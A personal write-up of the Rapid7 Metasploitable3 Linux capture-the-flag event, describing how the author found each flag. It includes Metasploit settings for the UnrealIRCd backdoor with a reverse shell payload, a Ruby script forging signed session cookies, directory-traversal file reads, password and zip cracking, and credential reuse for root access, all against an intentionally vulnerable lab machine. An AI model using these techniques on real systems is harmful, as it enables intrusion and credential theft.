Rapid7 just wrapped up the second of their Metsploitable3 CTFs, this time for the Linux version of the intentionally vulnerable OS that both beginner and advanced hackers can hone their skills on. They only allowed 500 participants/teams worldwide. I had a lot of free time the week of the event and was able to dedicate a lot of time to trying to solve all the flags. I ended up needing small hints on two of the flags but over all I learned a ton.

This is a full write-up so its long...this is the order I found the flags (mostly).

Before anything else, thanks to Rapid7 for putting this on!

King of Spades - UnrealIRC Backdoor

From my initial nmap scan, port 6697 is running UnrealIRCd. Trying to connect shows that the service is valid and running: proxychains nc -nv 6697


Using searchsploit shows that version has a backdoor and a Metasploit module to make use of it.

# search unrealirc
use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost
set rport 6697
# show payloads
set payload cmd/unix/reverse_ruby
set lhost
set lport 12345


Looking in the directory for recently changed files ls -latr, the ircd.motd seems to have been recently updated and is rather large for what should be a short text file.


Inspecting the file reveals a file full of what appears to be Base64 encoded data. Given the size of the file, it is likely that this is a Base64 encoded image. Decoding reveals a PNG file: base64 -d ircd.motd > decoded.file


I installed pngcheck to see if this file has any additional attributes and found some extra data in the file: pngcheck king_of_spades.png


Using foremost I was able to extract a ZIP file in addition to the PNG file: foremost -v king_of_spades.png
Unzipping (unzip 0000020.zip) the file in the ./output/zip directory, reveals the flag image.


To get the key, just MD5 the file: md5sum king_of_spades.png

6 Of Clubs - Ruby Cookie Manipulation

This was one of my favorites, a toss-up between this, the PHPMyAdmin Creds, and the QR Code challenge

I should also mention that I was the first person to solve this challenge

From the nmap scan, port 8181 is running Ruby WEBrick. Browsing to this page immediately reveals a bit of a hint.


Capturing the request to the flag route shows that this server is using the old style for Ruby cookies due to the BAh at the beginning of the key which means that if we can find the 'secret' we can alter the cookie and calculate a valid HMAC. Quickly decoding the first part of the cookie (because it looks like Base64) gives us a huge hint – the cookie secret for constructing the cookie and the HMAC value. This will help to achieve the hint mentioned above.


Looking up ways to decode and re-encode Ruby Marshall cookies, I found this article: https://martinfowler.com/articles/session-secret.html. And after much weeping and gnashing of teeth, I was able to finally modify the code in the "Taking control of the application" section to create my new cookie. Trying to create the cookie from scratch as in the linked page above did NOT work. It only worked after I manipulated the captured cookie directly as suggested here (though not in Python) https://www.balda.ch/posts/2013/Jun/17/defcon13-hypeman/. Basically did a string replace instead of trying to construct from scratch.

require 'base64'
require 'openssl'
require 'rack'

key = 'a7aebc287bba0ee4e64f947415a94e5f'

original_cookie = '''BAh7B0kiD3Nlc3Npb25faWQGOgZFVEkiRWVlMzRjZDExM2IzN2U2MGU5YjI0

decoded_original_cookie = Rack::Session::Cookie::Base64::Marshal.new.decode(original_cookie)

File.open('flag_names').each do |flag|

 # Create cookie and Base64 encode flag name
 decoded_original_cookie.each { |k, v| decoded_original_cookie[k] = flag.chomp if k == '_metasploitable' }
 cookie_data = decoded_original_cookie

 cookie = Base64.strict_encode64(Marshal.dump(cookie_data)).chomp
 #cookie = Rack::Session::Cookie::Base64::Marshal.new.encode(cookie_data).chomp
 digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), key, cookie)

I created a wordlist of all the flag names using both spaces and _ as well as with no extension, a PNG extension, and a JPG extension.

# Start with list of names from the Challenges page
# Replace spaces with underscore
sed 's/ /_/' flag_names

# Add JPG and PNG to end
sed 's/$/.png/' flag_names
sed 's/$/.jpg/' flag_names

Then I ran the script with that wordlist, output it to a file and then used Burp Intruder to replay all those requests looking for either a longer length in the response or a page without "Problem" in it (since the original page had this).

Turns out this was the 6 of Clubs. Copying the successful cookie value, I then intercepted a request from the browser in Burp, updated the cookie, and had the image I needed.


Key: d9247a49d132a4f92dcc813f63eb1c8b

Ruby On Rails - Local File Inclusion (Not A Flag)

From the nmap scan, port 3500 is running Ruby WEBrick and upon browsing shows a default Ruby on Rails landing page. Using WFUZZ, I was initially able to find an additional page at readme

proxychains wfuzz -c --follow --hc 404 -z file,/usr/share/wordlists/wfuzz/general/medium.txt


Clicking on the logos takes you to OS specific pages with the os parameter set in the URL:
Attempting to do some directory traversal with the OS parameter is successful: This LFI is critical to the next flag I was able to retrieve.

8 of Hearts - PHPMyAdmin

This was one of my favorites, a toss-up between this, the Ruby Cookie Manipulation, and the QR Code challenge

In the Drupal installation I found a settings (settings.php) file. To get there I first found the image at and copied the path. Trying to go up a directory from the image itself revealed that I could traverse the Drupal directory structure, eventually landing at where there is a settings.php file. I could not view the file because the PHP tried to execute but I could use the LFI vulnerability in the Ruby Readme App above to access the file at the directory /var/www/html/drupal/sites/default/settings.php. Searching for the word 'password' in the file revealed the user/password combo of root:sploitme.


Using this password, I tried to log into Drupal with no success but I could access to PHPMyAdmin! In PHPMyAdmin, there is a super_scret_db with a flags table that has one record that appears to be a data blob in the form of a .bin file. Downloading the file and checking what type of file it is reveals that it is indeed a Zip file.


Trying to unzip the file requires a password, fcrackzip was the tool for the job revealing a password of 'vagrant': fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt flags-value.bin



User Password Table

Additionally in the PHPMyAdmin tool was a table of a bunch of Star Wars themed users with passwords. I tried to use one set of credentials to SSH into the box and was in! Turns out each of the user/pass combos were valid. On top of that, Leia, Luke, and Han all had sudo privileges so I now had root access to the box which made finding the rest of the flags easy (or at least the files the flags lived in).

5 Of Diamonds - Custom Executable

Using the new root permissions I have with Leia, Luke, or Han, I searched for World Writeable Files and found /etc/init/five_of_diamonds_srv.conf. Which contains some interesting text:

description 'Run vulnerable custom http on 8989'
author 'metasploitable3'

start on runlevel [2345]
exec "/opt/knock_knock/five_of_diamonds"

Inspecting /opt/knock_knock/five_of_diamonds shows that it is an executable file. Attempting to run strings on the file dumps a large Base64 blob that when decoded seemed like the flag I was looking for...this did not work, apparently this did not grab ALL of the image.

The secondary method was to set up an SSH tunnel through the Kali box to access the web service directly at

ssh [email protected] -i ~/metasploitable3_ctf_kali_ssh_key.pem -L 8989:



9 Of Diamonds - Kylo Ren ISO

Navigating to Kylo Ren's home folder /home/kylo_ren reveals a hidden .secret_files directory. Due to permissions, you cannot immediately browse this directory (before I knew I had root). Adding execute permissions with chmod +x .secret_files allows viewing of the directory which contains an ISO file my_recordings_do_not_open.iso


Getting the file back to my local box with SCP and mounting it reveals the flag file in the ISO.

mount my_recordings_do_not_open.iso /mnt/kylo_ren -o loop



3 of Hearts - Find (/lost+found)

As root using find / -iname * 3_of_hearts* shows the location as /lost+found/3_of_hearts.png



10 Of Spades - Find (/opt/readme_app)

While logged in as Leia Organa, use the find command to find PNG files.

find / -name *.png




Ace of Clubs - Chat App

NMAP showed that there is a web app running on Port 80. Browsing to this web app shows a directory structure that includes a chat directory. In the chat app, "Papa Smurf" gives a hint that he has an Ace of Clubs. Simply asking nicely for the flag ('can I have the flag?') returns a huge Base64 string that can be decoded into the flag. Later when I found the code for the chat app, it was clear that the app would have responded with the flag to a wide range of inputs.


base64 -d chat_test.b64 > chat_decoded_file



8 Of Clubs - Long Directory Structure

Exploring the anakin_skywalker home directory reveals a numbered directory. With another numbered sub-directory and so on. Searching Google led me to a one-liner to show the full directory structure without needing the tree utility.

ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/   /' -e 's/-/|/'


Navigating to the directory revels the flag.



7 of Diamonds - QR Codes for Days

This was one of my favorites, a toss-up between this, the PHPMyAdmin Creds, and the Ruby Cookie Manipulation challenge

As root using find / -iname 7_of_diamonds I found this file in /var/lib/docker/devicemapper/mnt/1ff7956591eec7a4106b9c1feb82a46624d39ddc8cabc2d901d379571c0d581f/rootfs/home/7_of_diamonds.zip. The Zip contains a hint that is a GIF of many QR codes and another ZIP file (that I could not find the password with fcrackzip). Using the site https://ezgif.com/split I was able to upload the GIF and split it into images. I then figured I needed a programmatic way to decode the images (there were like 300). Reference links to some Python scripts to decode QR codes.:

Tweaking the Python script to output everything together instead of on one line I ended up with this script.

import qrtools

# Create png_list in shell with `ls *.png > png_list`
for filename in open('png_list'):
    qr = qrtools.QR()
    print qr.data,

This gave me a huge blob of text that after inspection seems to be hex characters, and after decoding the first bit as ASCII Hex, I see what appears to be PNG headers.


Searching for a command to convert these hex characters back into raw data, I found this article https://stackoverflow.com/questions/1604765/linux-shell-scripting-hex-string-to-bytes and ended up with the commands:

python qr_decoder.py > qr_decoded
cat qr_decoded | xxd -r -p > deocded_from_hex

Which ends up being an image with the password to the Zipped ZIP file.


Using this password to open the zip file gives me the flag.



5 Of Hearts - Base64 In Metadata

The image file comes right from to the Drupal page but is just a heart with a question mark in the middle of it, so clearly not the real flag despite the file name.

Downloading the image and running exiftool metasploitable3/5_of_hearts.png reveals a Base64 blob in the tag 5 of hearts section. Copying this Base64 blob and decoding yields the true flag.

exiftool 5_of_hearts.png | grep -i tag | cut -d ':' -f2 | sed 's/ //' | base64 -d > 5_of_hearts_real.png



2 Of Spades - PCAP

In Leia Organa's home directory /home/leia_organa there is a PCAP file. Using Wireshark to view the PCAP, it is immediately clear that there is some sort of RTP stream. Using Telephony → RTP → RTP Stream you can view the individual steams. Selecting the first stream, then Analyze, then Play Streams starts the audio tool.

After the first part of the message about an echo test (from a VOIP system presumably), there is some VERY quiet speech that spells out a URL: https://imgur.com/gmThKFP. This URL is a link to the flag. Due to using two different computers to do this challenge, being in a class room part of the time and unable to listen to the audio, and a bug where Wireshark in Linux would not play, this challenge was WAY harder for me than it should have been.



10 Of Clubs - WAV File

In Artoo's home directory, there was a directory called music that contained a single WAV file. The file just contains what appears to be static. After a while of searching through the audio and manipulating it, trying to figure out some LSB steganography, I finally got a hint (from bl0ckbuster) to try binwalk.

binwalk -e 10_of_clubs.wav extracted the actual flag. 

I had been trying to figure out if there was data embedded by looking for PNG type headers in the hexdup with no luck. Turns out that the embedded data was Zlib compressed (not PNG) so there was no way I was going to see the PNG headers. binwalk was able to find the Zlib data and apparently auto extracts it so that I was left with the flag image.



Joker - Image Metadata

The Joker was the last flag that I got, since its the joker. The image was found in /etc/joker.png and looked like a negative of the real flag. Simply inverting the colors did not work. Some hints from the Meteasploitable staff said to focus on metadata. So I did and racked my brain trying to invert colors in Gimp, by pixel using a Python script, nothing worked and it was obviously frustrating others too. I finally got a hint from osama to try to strip the metadata, so I was able to that with Gimp using the export tool and this was the key.

I got them ALL!



Take Aways

This was a lot of fun, I hated being away from family for training but being alone in a hotel room did help me to focus on this quite a bit. The most fun was either getting the code out of the QR Code GIF, stringing together the vulns to get access to PHPMyAdmin, or putting together the script for the Ruby Cookie Manipulation. Also, binwalk is now a permanent part of my CTF tool belt.

Thanks to the Rapid7 team for putting on an awesome event!!